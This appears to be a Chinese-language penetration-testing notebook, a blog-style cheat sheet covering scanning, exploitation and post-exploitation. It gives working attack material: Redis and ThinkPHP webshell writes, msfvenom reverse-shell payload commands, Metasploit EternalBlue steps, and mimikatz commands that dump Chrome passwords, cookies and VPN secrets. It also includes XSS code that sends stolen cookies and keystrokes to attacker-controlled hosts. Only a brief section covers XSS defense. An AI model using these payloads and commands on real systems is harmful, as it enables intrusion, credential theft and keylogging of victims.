Skip to content

nmap

  1. 中文参考指南

https://nmap.org/man/zh/

  1. 功能

检测网络存活主机(主机发现)

检测主机开放端口(端口发现或枚举)

检测相应端口软件(服务发现)版本

检测操作系统,硬件地址,软件版本

检测脆弱性漏洞(nmap的脚本)

  1. 返回端口状态:

常见三种:

open 端口开启,数据有达到主机,有程序在端口上监控

closed 端口关闭,数据有到达主机,没有程序在端口上监控

Filtered 数据没有到达主机,返回结果为空,数据被防火墙或IDS过滤

  1. 基础命令
nmap -A -T4 192.168.1.1
-A 全面扫描/综合扫描
-T 扫描速度,T0~T5
不加端口时,说明扫描默认端口1~1024+nmap-service

https://r2.kwxos.pp.ua/Qexo/24/3/18/fae898877297a8b1c7a9ac054d66c300.png

nmap 192.168.1.2 单一主机扫描
nmap 192.168.1.1/24 子网扫描
nmap 192.168.1.1/24 --exclude 192.168.1.1 子网扫描排除192.168.1.1
nmap 192.168.1.1/24 --exclude xxx.txt 子网扫描排除文件中的IP主机
nmap 192.168.1.1 192.168.1.10 多主机扫描
nmap 192.168.1.1-100 主机范围扫描
nmap -iL taarget.txt IP地址导入列表扫描
nmap -p 80,21,23 192.168.1.1 子网扫描特定主机的80 21 23 端口
  1. 探测存活主机
nmap -sn -v -T4 -oG ipget.gnmap 172.26.1.0/24
-sn:这是nmap的一个参数,表示进行Ping扫描(不执行端口扫描)。
-v:这个参数表示详细输出模式,会显示更多的扫描信息。
-T4:这是nmap的一个参数,指定了扫描的速度/准确度级别
-oG ipget.gnmap:这个参数告诉nmap将结果保存到一个格式为"grepable"的文件中,文件名为ipget.gnmap

内容提取

grep "Status:Up" ipget.gnmap | cut -f 2 -d ' ' > livehost.txt
  1. 扫描全部端口
nmap -sS -v -T4 -Pn -p 0-65535 -oN FullTCP -iL livehost.txt

-sS:使用TCP SYN扫描技术。这是一种常见的扫描类型,它不完全打开连接,而是发送一个SYN包给目标主机,如果收到一个SYN/ACK响应,则表示该端口是开放的。
-v:详细输出模式,显示更多的扫描信息。
-T4:设置扫描的速度/准确度级别为“Aggressive”。
-Pn:不执行主机发现,假设所有IP都是在线的。
-p 0-65535:扫描端口范围从0到65535,表示扫描所有可能的TCP端口。
-oN FullTCP:将结果保存到名为FullTCP的文件中,格式为普通文本。
-iL livehost.txt:从livehost.txt文件中读取主机列表进行扫描。
  1. 系统扫描
nmap -O -T4 -Pn -oG OSDetect -iL livehost.txt
-O:执行操作系统检测。nmap会尝试识别目标主机正在运行的操作系统类型及版本。
-T4:设置扫描的速度/准确度级别为“Aggressive”。
-Pn:不执行主机发现,假设所有IP都是在线的。
-oG OSDetect:将结果保存到名为OSDetect的文件中,格式为“grepable”。
-iL livehost.txt:从livehost.txt文件中读取主机列表进行扫描。
  1. 版本检测
nmap -sV -T4 -Pn -oG ServiceDetect -iL livehost.txt
-sV:执行服务版本检测。nmap会尝试识别目标主机上运行的每个开放端口的服务及其版本信息。
-T4:设置扫描的速度/准确度级别为“Aggressive”。
-Pn:不执行主机发现,假设所有IP都是在线的。
-oG ServiceDetect:将结果保存到名为ServiceDetect的文件中,格式为“grepable”。
-iL livehost.txt:从livehost.txt文件中读取主机列表进行扫描。

历史漏洞查找

https://wy.zone.ci/index.php

https://wooyun.kieran.top/#!/

https://www.exploit-db.com/

https://www.seebug.org/

社会工程学

邮件钓鱼,社工库

网站指纹识别

网站组成:服务器(操作系统)、中间件(web容器)、脚本语言、数据库

  1. 操作系统

ping判断:windows的TTL值一般为128,Linux则为64,TTL大于100一般为windows,几十一般为linux

nmap判断:nmap -O -Pn -T4 -A 192.168.7.0/24

windows大小写不敏感,linux则区分大小写

windows 修改链接路径大小写,无影响,如 https://****.com/CShttps://****.com/cS是一样的路径

linux 修改链接路径大小写,有影响,如上面的修改会存在404,页面不存在的提示

  1. 网站服务\容器类型 wappalyzer浏览器插件:https://www.wappalyzer.com/
  2. CMS 常见CMS:dedecms(织梦)Discuz、phpcms等

在线查看cms框架:https://c.yuanxiaoyin.com/

onlinetools:https://github.com/iceyhexman/onlinetools

敏感文件、目录探测

敏感文件、目录

github、Git、SVN、.DS_store、.hg、.bzr、cvs、WEB-INF 备份文件、

  1. Github泄露

github上所未删除的信息,如邮箱、密码等等

  1. .git泄露

https://github.com/lijiejie/GitHack

  1. svn泄露

https://github.com/admintony/svnExploit

  1. WEB-INF/web.xml泄露

WEB-INF是java的web应用的安全目录。如果想在页面中直接访问其中文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问

  1. 网站备份文件

路径爆破:

https://github.com/7kbstorm/7kbscan-WebPathBrute

目录探测:

dirsearch:https://github.com/maurosoria/dirsearch

Dirmap:https://github.com/H4ckForJob/dirmap

  1. 针对漏洞的信息泄露

https://github.com/LandGrey/SpringBootVulExploit

https://github.com/rabbitmask/SB-Actuator

网站waf识别

WAF,即:web Application FireWall (web应用防火墙)。可以通俗的理解为:用于保护网站,防黑客、防网络攻击的安全防护系统;是最有效、最直接的web安全防护产品。

  1. WAF功能

防止常见的各类网络攻击,如:SQL注入、XSS跨站、CSRF、网页后门等;

防止各类自动化攻击,如暴力破解、撞库、批量注册、自动发帖等;

阻止其他常见威胁,如:爬虫、0DAY攻击、代码分析、嗅探、数据篡改、越权访问、敏感信息泄露、应用层DDOS、远程恶意包含、盗链、越权、扫描等

  1. waf识别

https://github.com/EnableSecurity/wafw00f

或者nmap扫描:https://qexo.loadke.tech/

##nmap -p80,443 --script http-waf-detect ip
nmap -p80,443 --script http-waf-fingerprint ip

sqlmap

kali中存在

github:https://github.com/sqlmapproject/sqlmap

中文手册:https://github.com/kvko/sqlmap-wiki-zhcn

thinkphp漏洞

thinkPHPBatchPoc

weblogic漏洞

默认开放在7001端口

  1. 漏洞网站探测

shodan:https://www.shodan.io/

fofa:https://fofa.info/

钟馗之眼:https://www.zoomeye.org/

fofa探测:app="BEA-weblogic-Server" && port="7001"

漏洞扫描:https://github.com/rabbitmask/WeblogicScan

Jboss组件识别

默认在8080端口

jbossScan扫描:https://github.com/GGyao/jbossScan

Struts2

https://github.com/HatBoy/Struts2-Scan或者图形化

程序

shiro

ShiroScan:https://github.com/fupinglee/ShiroScan

Redis

默认端口:6379

redis通过nmap发现 nmap -v -p 6379 -sV --script="redis-info"

-v:显示过程

-Pn:no ping

-sV:版本探测

  1. 未授权访问

首先下载:

链接程序:https://download.redis.io/releases/redis-6.0.3.tar.gz

wget https://download.redis.io/releases/redis-6.0.3.tar.gz
tar -zxvf redis-6.0.3.tar.gz
cd redis-6.0.3/
make
cd src/
cp redis-cli /usr/bin

再登录redis登录

redis-cli -h IP地址 -p 端口(默认6379)

再执行webshell

config set dir /vart/www/html/

config set dbfilename shell.php

set x "<?php @eval($_POST['test'];?>"
save

暴力破解Tomcat后台

https://r2.kwxos.pp.ua/Qexo/24/3/24/e3dac104357ddc29bb08e0f1142c0b18.png

工具使用burpsuite的intruder

或者通过上传文件,破解密码

暴力破解工具

  1. hydra
hydra -l root -p root 172.26.2.36 ssh
-l 指定用户名
-L 指定用户名字典
-p 指定密码
-P 指定密码字典
-C 使用冒号分隔,比如root:root
-M 指定目标列表文件
-f 在找到第一对登录名或密码的时候停止

metasploit

简称:msf

Armitage是一款基于Metasploit框架的图形化网络渗透测试工具

集成各种平台上常见的溢出漏洞和流行的shellcode,并持续保持更新

auxiliary:辅助模块,辅助渗透(端口扫描、登录密码爆破、漏洞验证等)

exploits:漏洞利用模块,包含主流漏洞利用脚本,通常是对某些可能存在漏洞的目标进行漏洞利用。命名规则:操作系统/各种应用协议分类

payloads:攻击载荷,主要攻击成功后在目标机器上执行的代码,比如反弹shell代码

post:后渗透阶段模块,漏洞利用成功获得meterpreter后,向目标发送一些功能性指令,如:提权

encoders:编码器模块,主要包含各种编码工具,对payload进行编码加密,以便绕过入侵检测和过滤系统

evasion:躲避模块,用来生成免杀payload

nops:由于IDS/IPS会检查数据包中不规则的数据,在某些情况下,比如针对溢出攻击,某些特殊滑行字符串(NOPSx90x90...)则会因为被拦截而导致攻击失效。

  1. 基本操作
初始化数据库
msfdb init
msf启动
msfconsole
查看是否连接数据库
db_status
查看工作区
workspace

2.内网主机发现,与nmap一样使用,只不多多了db_

db_nmap
  1. 扫描工具使用

端口扫描

use auxiliary/scanner/portscan/方式

use auxiliary/scanner/portscan/ack  
use auxiliary/scanner/portscan/tcp
use auxiliary/scanner/portscan/ftpbounce  
use auxiliary/scanner/portscan/xmas
use auxiliary/scanner/portscan/syn

或者搜索端口扫描方式

search portscan

查看端口扫描模块配置需求说明

show options

对指定IP进行端口扫描

设置指定IP地址
set rhosts 192.168.2.167
run
  1. 攻击流程

搜寻漏洞模块

搜寻永恒之蓝模块
search ms17_010

搜寻到的模块,搜索有两个攻击模块和两个辅助模块

0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-01                                                                                                                        0 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-01                                                                                                                        0 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-01                                                                                                                        0 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-01                                                                                                                        0 SMB RCE Detection

使用辅助模块:smb_ms17_010漏洞

use auxiliary/scanner/smb/ms17_010

设置靶机地址,也可设置网段

set rhosts 192.168.2.167

设置线程10

set threads 10

运行程序

run

其中可将其转换在后台

background

查看当前活动中的sessions

sessions 若不是meterpreter将sessions转换为meterpreter

sessions -u sessions的id

sessions -u 1

若是,直接进入meterpreter

sessions sessions的id

sessions 1

退出meterpreter用 exit

然后就可执行相应命令如 shell进入windows的cmd

https://r2.kwxos.pp.ua/Qexo/24/3/25/cf3cdf812b8e41cdeb34b69d21715ea2.pnghttps://r2.kwxos.pp.ua/Qexo/24/3/25/fe7dc0c9ad1689dd3c5ac31a8a50f013.png

https://r2.kwxos.pp.ua/Qexo/24/3/25/02bc92485a1d0f6a7498e6a5f21562ab.png

漏洞扫描

发现可利用漏洞的一种安全检测行为

  1. 常见扫描工具

针对某类漏洞:sql注入(sqlmap)、weblogic(WeblogicScan

针对某类CMS:wordpress(wpscan)、dedecms(dedecmsscan)

针对系统应用层:nessus

针对某类框架的:Struts2(struts2漏洞检查工具)、springboot(SB-Actuator)

针对web服务:burpsuite、xray、awvs

AWVS

  1. 功能

web安全漏洞扫描、爬虫功能,遍历站点目录结构、端口扫描,找出web服务器(80、443)、子域名扫描,利用DNS查询、盲注工具、协议数据包编辑器、HTTP协议嗅探、模糊测试工具、web认证破解

  1. 下载地址

https://get-shell.com/853.html#hidden-box-comment

msfvenom

两个模块:

攻击载荷:msfpayload

编码加密:msfencode

https://r2.kwxos.pp.ua/Qexo/24/3/31/275003bf49c4605bdb26ce893e78268c.png

常用参数:

-p 指定特定的payload,如果设置为- ,那么从标准输入流中读取,几乎支持全平台。
-l 列出所有可用项目,其中值可以被设置为payloads,encoders,nops,all
-e 指定使用的encoder
-i 设置payload的编码次数

创建木马命令例子:

Linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=<Your IP Address> lport=<Your Port to Connect On> -felf > shell.elf

msfvenom -p linux/x86/meterpreter/bind_tcp lhost=<Target lP Addres5> lport= <Your Port to Connect On> -f elf > shellelf

windows:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost= <Your lP Address> lport= <Your Port to Connect On> -f exe > shell.exe

mac:
msfvenom -p osx/x86/shell_reverse_tcp lhost= <Your P Address> lport= <Your Port to Connect On> -f macho > shell.macho

搜索payload命令例子:

msfvenom -l payloads | grep 'windows' | awk '{print $1}'

添加监听

use exploit/multi/handler
设置payload
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.2.215
set lport 5555
后台启动
exploit -j
停止监听
jobs -k 编号

https://r2.kwxos.pp.ua/Qexo/24/3/31/a0560eb55cefd971a4749187406f1854.png

msf5 exploit(multi/handler) > advanced
//经常遇到假session或者刚连接就断开,可以在接收到session后,继续监听端口,保持job存活
msf5 exploit(multi/handler) > set ExitOnSession false
//默认情况下,如果一个会话将在5分钟(300秒)没有任何活动,那么它会被杀死,为防止此情况可将此项修改为0
msf5 exploit(multi/handler) > set SessionCommunicationTimeout 0
//默认情况下,一个星期 (604800秒)后,会话将被强制关闭,修改为0可永久不会被关
msf5 exploit(multi/handler) > set SessionExpirationTimeout 0
/后台持续监听,-表示后台任务,-z表示成功后不主动发送stage,使用jobs命令查看和管理后台任务。jobs-K结
束所有任务
msf5 exploit(multi/handler) > exploit -j -z
//快捷建立监听的方式:
msf5 > handler -H 192.168.24.146 -P 5449 -p windows/meterpreter/reverse tcp
*]Pavload handler running as background job 1.
[*] Started reverse TCP handler on 192.16824146:5449

web payload:

use exploit/multi/script/web_delivery 
设置payload
set payload php/meterpreter/reverse_tcp
set lhost 192.168.2.215
set lport 5555
set target
直接执行:run
后台启动:exploit -j
停止监听
jobs -k 编号
如果不能执行,可更换payload为其他如python和更改target为python

https://r2.kwxos.pp.ua/Qexo/24/3/31/40429993344fe60464ccfa28c63e1e2e.png

php:
msfvenom -p php/meterpreter/reverse tcp LHOST= <Your lP Address> LPORT= <Your Port to Connect
On> -fraw > shell.php
asp:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse tcp LHOST=10.211.55.2
LPORT=3333 -f aspx -o shell.aspx
sp:
msfvenom -p java/jsp shell reverse tcp LHOST= <Your IP Address> LPORT= <Your Port to Connect On>.
f raw > shelljsp
war:
msfvenom -p java/jsp shell reverse tcp LHOST= <Your lP Address> LPORT= <Your Port to Connect On> .
f war > shell.war

思路: 监听,上传,访问,

脚本 payload:

https://r2.kwxos.pp.ua/Qexo/24/3/31/dc4b7061358c6e5f6cb78906f75a6dd6.png

msfvenom -p python/meterpreter/reverse tcp LHOST= <Your IP Address> LPORT= <Your Port to Connect
On> -f raw > shell.py
bash:
msfvenom -p cmd/unix/reverse bash LHOST= <Your P Address> LPORT= <Your Port to Connect On> -f
raw > shellsh
perl:
msfvenom -p cmd/unix/reverse perl LHOST= <Your P Address> LPORT= <Your Port to Connect On> -f
raw > shellpl

站点攻击思路 查看站点框架,查看是否有远程执行漏洞,有的话,使用一句话木马创建文件,再使用蚁剑访问webshell,上传木马,获取meterpreter 如thinkphp远程执行命令:

http://192.168.123.129/html/public/index.php?s=indexAthinkltemplateldriverlfile/write&cacheFile=shell.php&content=%3C?php%20eval($ POST[c);?%3E

%3C?php
%20phpinfo();?%3E

<?php eval($_POST[c]);?>

然后用webshell链接上传木马

获取meterpreter后,清除痕迹

clearev

cobalt strike

使用步骤:

启动服务端:

增加权限
chmod +x teamserver
执行teamserver服务端./teamserver 网卡地址 密码
./teamserver 127.0.0.1 password

https://r2.kwxos.pp.ua/Qexo/24/4/1/e756b961268cee73609e96893ccb31c0.png

启动客户端:

./start.sh

https://r2.kwxos.pp.ua/Qexo/24/4/1/6ef07e843419a278dad42ade34c2509a.png

实现步骤:

创建监听器:

https://r2.kwxos.pp.ua/Qexo/24/4/2/72dcb76cd05ee4f8d0823a7c7f535165.png

查看端口占用:

netstat -anltup

中文文档地址:

https://gitcode.com/aleenzz/Cobalt_Strike_wiki/tree/master

内网环境分析

内网渗透

在拿到webshell的时候,想办法获得系统信息拿到系统权限,进入到网络系统内部之后收集内网的各种信息,获取内部网络有价值的人员、资产信息。

1.内网基础环境分析

IP、网关、DNS、是否能连通外网、网络连接及端口、本机host文件、机器的代理、是否在域内,域名是什么。

2.分析机器所在位置区域

DMZ区、办公区、生产区、核心DB等等

3.分析机器的角色

普通WEB服务器、开发服务器、文件服务器、代理服务器、DNS服务器、数据存储服务等等

工作组和域的区别

https://mp.weixin.qq.com/s/5wgCGHrE5MNsKvN9rChBsw

DMZ:是防火墙与防火墙之间的区域,中文名是隔离区

协议判断和端口判断

TCP协议:
本地检测:nc -lvvp 8888
检测远程服务器:nc vps-ip地址 8888
HTTP协议:
本地检测:nc -lvvp 80
检测远程服务器:curl vps-ip地址 80
ICMP协议:
本地检测:tcpdump icmp
检测远程服务器:ping vps-ip地址
DNS协议:
本地检测:nc -u -Ivp 53
检测远程服务器:nslookup www.baidu.com vps-ip地址
dig @vsp-ip www.baidu.com

工作组(Work Group)

  1. 基本所有计算机都处在名为workgroup的工作组中
  2. 一般进行权限分配和目录共享
  3. 同组中不同用户通过对方主机名和密码可以查看对方共享的文件夹,默认共享文件夹是Users目录
  4. 不同组的不同用户通过对方主机的用户名和密码也可查看共享文件夹
  5. 工作组中所有计算机关系对等,没服务器和客户机之分

信息

查看本机用户列表
net user
获取本地管理员信息
net localgroup administrators
查看当前机器中所有组名,了解不同组的职能,如,IT,HR,ADMIN,FILE
net localgroup
查看当前用户在目标系统中的具体权限
whoami /all
查看当前权限
whoami && whoami /priv
查看当前在线用户
quser
query user
query user || qwinsta
查询网络配置信息。进行IP地址段信息收集
ipconfig /all
查询操作系统及软件信息
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"英文系统
systeminfo | findstr /B /C:"OS 名称"/C:"OS 版本"中文系统
查看当前系统版本
wmic OS get Caption,CSDVersion,OSArchitecture,Version
查看系统体系结构
echo %PROCESSOR_ARCHITECTURE%
查询本机服务信息
wmic service list brief
查看安装的软件版本、路径等
wmic product get name,version
powershell "Get-WmiObject -class Win32 Product |Select-Object -Property name, version"
查询进程信息
tasklist
wmic process list brief
查看启动程序信息
wmic startup get command,caption
查看计划任务
at (windows10之前)
schtasks /query /fo LIST /v (win 10)
查看主机开机时间
net statistics workstation
列出或断开本地计算机与所连接的客户端的对话
net session
查询端口列表,本机的开放的端口所对应的服务和应用程序
netstat -ano或者-tnp
查看本机所有tcp,udp端口连接,pid及其发起程序
netstat -anob
可配合findstr使用
netstat -ano | findstr 3389
远程访问连接凭据
cmdkey /l
查看补丁列表 
systeminfo | findstr KB
#查看补丁的名称、描述、ID、安装时间等
wmic qfe get Caption,Description,HotFixlD,InstalledOn
#查看杀软
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path
AntiVirusProduct Get displayName /Format:List
查看本地面策略
net accounts
查看hosts文件
Linux:cat /etc/hosts
windows: type c:\Windows\system32\drivers\etc\hosts
查看路由表和arp缓存
route print
arp -a
查看本机共享列表和可访问的域共享列表(445端口)
net share
wmic share get name,path,status
磁盘映射
net use k:\\192.168.1.10\c$
wifi密码
netsh wlan show profile
netsh wlan show profile name="xiaomi" key=clear
回收站内容获取
FOR /f "skip=1 tokens=1,2 delims= " %c in ('wmic useraccount get name^,sid') do dir /a /b C:\$Recvcle.Bin\%d\ ^>%c.txt
chrome历史记录和cookie获取
%localappdata%\google\chrome\USERDA~1\default\LOGIND~1

%localappdata%\google\chrome\USERDA~1\default\cookies
chrome的用户信息,保存在本地文件为sqlite 数据库格式
mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\LOGIND~1" exit

mimikatz.exe privilege::debug log"dpapi::chrome
/in:%localappdata%google\chrome\USERDA~1\default\cookies /unprotect”exit

域内信息收集

域是一个有安全边界的计算机集合

安全边界:在两个域中,一个域中的用户无法访问另一个域中的资源

将网络中的多台计算机逻辑上组织在一起,进行集中管理,这种区别于工作组的逻辑环境叫做域,域是组织与存储的核心管理单元,域中至少有一台域控制器,域控制器中保存着整个域的用户账号和安全数据库

域控:DC(domain control)

在域架构中域控是用来管理所有客户端的服务器,它负责每一台联入的电脑和用户的验证工作,域内电脑如果想互相访问首先都得经过它的审核

域控是域的核心,每个域控制器上都包含了AD活动目录数据库,一个域中至少两个域控。一个作为DC,一个是备份DC

活动目录:AD(Action Directory)

域环境中提供目录服务的组件; 在活动目录中,所有的网络对象信息以一种结构化的数据存储方式来保存; 活动目录存储着有关网络对象的信息,如用户、组、计算机、共享资源、打印机和联系人等: 安装有AD活动目录的服务器就是域控DC。 用户可以通过AD活动目录定位到内网中的资源位置

Builtin容器: Builtin容器是Active Driectory默认创建的第一个容器,主要用于保存域中本地安全组 Computers容器: Computers容器是Active Driectory默认创建的第2个容器,用于存放windows server城内所有成员计篇机的计算机账号。 Domain Controllers容器: Domain Controllers是一个特殊的容器,主要用于保存当前域控制器下创建的所有子域和辅助域. Users容器: Users容需主要用于保存安装Active Driectory时系统自动创建的用户和登录到当前域控制器的所有用户账户

DNS域名服务器:

域控服务器要求DNS服务器按名称查找计算机、成员服务器和网络服务. 域名解析:DNS服务器通过其A记录将域名解析成IP地址 定位活动目录服务:客户机通过DNS服务器上的 SRV 服务记录定位提供某一个服务的计算机

windows密码凭证获取

  1. woindows hash

windows加密过的密码口令,我们称之为hash,windows的系统没密码hash默认情况下一般由两部分组成:第一部分是LM-hash,第二部分是NTLM-hash

https://r2.kwxos.pp.ua/Qexo/24/4/4/9f1d1085e4be21c665f074a3bfd8a9ae.png

查看电脑的用户

wmic USERACCOUNT list brief

windows的认证包括三部分

本地认证:用户直接操作计算机登录账户

网络认证:远程连接到工作组中的某个设备

域认证:登录到域环境中的某个设备

windows本地认证

  1. 用户输入密码
  2. 系统收到密码后将用户输入的密码计算成NTLM Hash
  3. 与sam数据库(%SystemRoot%\system32\config\sam)中该用户的哈希比对
  4. 匹配则登陆成功,不匹配则登陆失败、

NTLM哈希,是一种单向哈希算法,Windows将用户的密码计算成NTLM哈希之后才存储在电脑中。

本地认证中用来处理用户输入密码的进程为lsass.exe,密码会在这个进程中明文保存,供该进程将密码计算成NTLM Hash与sam进行比对,我们使用mimikatz来获取的明文密码,便是在这个进程中读取到的

密码获取

mimikatz:

https://github.com/gentilkiwi/mimikatz/tree/2.2.0-20220919

运行方式:

https://blog.csdn.net/wxh0000mm/article/details/105842889

WCE:

https://www.ampliasecurity.com/

Powershell获取本地远程桌面协议(RDP)连接记录以及解密密码:

https://github.com/3gstudent/List-RDP-Connections-History

https://www.bilibili.com/video/BV1qS421N7q8?p=59

PPTP口令获取:

https://r2.kwxos.pp.ua/Qexo/24/4/6/58dd6715d2078c57402e20efed8829ce.png

type %APPDATA%\Microsoft\Network\Connections\Pbk\rasphone.pbk

https://r2.kwxos.pp.ua/Qexo/24/4/6/8c97f11cb3da4dfcc17fc5d7bac56c7c.png

mimikatz获取PPTP密码
mimikatz.exe privilege::debug token::elevate lsadump::secrets exit
命令行下连接VPN
rasdial "VPN1" admin1 admin1@vpn
命令行关闭VPN连接
rasphone -h "VPN1"

Mysql数据库密码获取

mysql数据文件类型:"frm" "MYD" "MYI"

".frm"是描述表结构的文件

".MYD"是表的数据文件

".MYI"是表数据文件中任何索引的数据树

与用户相关一共有三个文件即user.frm、user.MYD、user.MYI、MYSQL数据库用户密码都保存在user.MYD文件中,包括root用户和其他用户文件

MYSQL加密方式:

MySQL 4.1之前是mysql323加密

MySQL4.1和之后的把按本都是MySQLsha1加密

https://r2.kwxos.pp.ua/Qexo/24/4/6/179bbd8370c41acf91a1d6b0ee9c011c.png

如果获取到user.MYD文件,使用二进制模式查看,即可得到密码hash值

https://r2.kwxos.pp.ua/Qexo/24/4/6/b18b59cf08c7b591f62cd98ff8162304.png

在线HASH破解:

https://www.cmd5.org/

https://www.somd5.com/

通过hashcat:

https://blog.csdn.net/Python_0011/article/details/136828640

SharpDecrypt获取软件密码:

https://github.com/uknowsec/SharpDecryptPwd

https://github.com/RowTeam/SharpDecryptPwd

XSS跨站脚本攻击

xss危害

盗取cookie,网络钓鱼,植马挖矿,刷流量,劫持后台,篡改页面,内网扫描,制造蠕虫

常出现的场景:

重灾区:评论区、留言区、个人信息、订单信息等

针对型:站内信、网页即时通讯、私信、意见反馈

存在风险:搜索框、当前目录、图片属性

XSS分类

反射型XSS

存储型XSS

DOM型XSS

反射型XSS

反射型XSS是非持久性、参数型的跨站脚本,恶意代码吗并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的。

出现场景:多出现在搜索框或者输入框

https://r2.kwxos.pp.ua/Qexo/24/4/6/a2c0af43ee7b4558d78b4d33443ef538.png

存储型XSS

恶意代码吗被保存在目标网站服务器中,这种攻击具有稳定性和持久性

常见场景是,黑客写下一篇包含有恶意javascript代码的博客文章,文章发表,所有访问该博客的用户,都会在他们的浏览器中执行这段js代码

https://r2.kwxos.pp.ua/Qexo/24/4/6/423efd90a59c3df572746e1aede72fc7.png

DOM型XSS

DOM,全称Document Object MModel(文档对象模型),是W3C推荐的一种独立于平台和语言的标准,定义了访问HTMML和XML文档的标准

Dom即window对象内置document

https://r2.kwxos.pp.ua/Qexo/24/4/6/c002320678fb14047707a7e7da1af4b0.png

https://r2.kwxos.pp.ua/Qexo/24/4/6/2d54d4ebb0c7862a3bf8a458b08c712e.png

在url进行输入

三类型比较

https://r2.kwxos.pp.ua/Qexo/24/4/6/d9a959602d5930be7eff08ddd214a53d.png

防御:

对用户输入合理验证

https://r2.kwxos.pp.ua/Qexo/24/4/6/9ad79f47b0e9b79f44f74de0f6c27ff7.png

1.对用户的输入进行合理验证
对特殊字符(如<、>、'、"字符进行过滤等)以及<script>、javascript等字符进行过滤
2.根据数据位置设置恰当的输出编码
根据数据将要置于HTML 上下文中的不同位置(HTML标签、HTML属性、JavaScript脚本、CSS、URL),对所有不可信数据进行恰当的输出编码;
3.设置HttpOnly属性
避免攻击者利用XSS漏洞进行Cookie劫持攻击

利用1:获取cookie

控制台测试获取cookie:

document.cookie

xss获取cookie

<?php
$cookie = $_GET['cookie'];
file_put_contents('cookie.txt',$cookie);
?>

可用html进行伪装

Ajax获取cookie

https://r2.kwxos.pp.ua/Qexo/24/4/6/2e77adde0798612e5fcd855d7831a4a0.png

hookjs:
xmlhttp = new XMLHttpRequest();
xmlhttp.open("get" "http://IP地址/xss/getcookie.php?cookie="+document.cookie,true)
xmlhttp.send()
访问
http://www.dvwa.test/vulnerabilities/xss_r/?name=<script
src="http://IP地址/xss/hook.js"></script>

利用2,获取键盘记录

keylogger.php文件:
<?php
$key = $_PosT['key'];
$file = fopen("keylog.txt","a+");
fwrite($file, $key);
fclose($file);
?>
keylogger.js文件:
document.onkeypress = function(evt){
evt = evt || window.event
key = String.fromCharCode(evt.charCode)
if(key){
var xmlhttp = new XMLHttpRequest();
var param = encodeURI(key)
xmlhttp.open("POST","http://192.168.81.124/xss/keylogger.php", true)
xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded')
xmlhttp.send("key="+param)
}
}

恶意链接:

http://www.dvwa.test/vulnerabilities/xss_r/?name=<script src="http://192.168.154.133/xss/keylogger.js"></script>

然后每输入一个字符,就会文件增加字符

BeeF

BeEF全称The Browser Exploitation Framework,是一款针对浏览器的渗透测试工具。用Ruby语言开发的,用于实现对XSS漏洞的攻击和利用。

BeEF主要是往网页中插入一段名为hookjs的JS脚本代码,如果浏览器访问了有hook;js( 钩子)的页面,就会被hook(勾住),勾连的浏览器会执行初始代码返回一些信息,接着目标主机会每隔一段时间 (默认为1秒)就会向BeEF服务器发送一个请求,询问是否有新的代码需要执行。

功能:

信息搜集: 可以实现网络发现、主机信息获取、cookie获取、会话 劫持、获取键盘记录、获取插件信息等功能 持久化控制: 可以实现确认弹框,小窗口和中间人攻击 社会工程学攻击:可以实现点击劫持、弹窗告警、虚假页面和钓鱼页面等攻击 渗透攻击:可以实现内网渗透、CSRF跨站请求伪造攻击、DDOS攻 击,还可以结合Metasploit使用

安装: aptget install beef-xss
启动: beef-xss (首次启动时需要输入新的密码)
管理界面: http://127.0.0.1:3000/ui/panel
配置文件: /usr/share/beef-xss/config.yaml

https://r2.kwxos.pp.ua/Qexo/24/4/7/d54c41caba0bcd232a95550adf79c94e.png

脚本使用生成的script,,默认用户为beef,密码自定义输入

访问 http://127.0.0.1:3000/ui/panel

Flash钓鱼,使用beef生成钓鱼网站,在用flash更新欺骗用户,再用Metasploit生成木马程序,再诱导下载点击,从而获取meterpreter,控制对方电脑

弱类型

=== 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较

== 在进行比较的时候,会先将字符串类型转化成相同,再比较

如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且按照数值来进行比较

== 在字符中丢弃字符保留数字进行比较,如下

<?php
var_dump("admin"==0); //为true
var_dump("ladmin"==1); //为true
var_dump("admin1"==1) //为false
var_dump("admin1"==0) //为true
var_dump("0e123456"=="0e4456789"); //为true
?>

当一个字符串被当作一个数值来取值,其结果和类型如下;如果该字符串没有包含'.','e','E'并且其数值值在整形的范围之内该字符被当作int来取值,其他所有情况下都被作为float来取值,该字符率的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0

<?php
$test=1 + "10,5"; // $test=11.5(float)
$test=1+"-1.3e3"; //$test=-1299(float)
$test=1+"bob-1.3e3";//$test=1(int)
$test=1+"2admin";//$test=3(int)
stest=1+"admin2";//Stest=1(int)
?>

例题:

if (isset($_POST['message'])) {
   $message = json_decode($_POST['message']);
   $key ="******”; // 保密
if ($message->key == $key) {
   echo"flag";
}
else (
   echo "fail";
}
}else{
   echo "~~~";
}

此处key没有以数字开头,且用"==",用数字与其做比较则key转换为数字则为0,所以,传入key为0,即可输出flag

弱类型表:

TRUEFALSE10-1"1""0""-1"NULLarray()"php"""
TRUETRUEFALSETRUEFALSETRUETRUEFALSETRUETRUETRUEFALSEFALSE
FALSEFALSETRUEFALSETRUEFALSEFALSETRUEFALSEFALSEFALSETRUETRUE
1TRUEFALSETRUEFALSETRUETRUEFALSETRUETRUETRUEFALSEFALSE
0FALSETRUEFALSETRUEFALSEFALSETRUEFALSEFALSEFALSETRUETRUE
-1TRUEFALSETRUEFALSETRUETRUEFALSETRUETRUETRUEFALSEFALSE
"1"TRUEFALSETRUEFALSETRUETRUEFALSETRUETRUETRUEFALSEFALSE
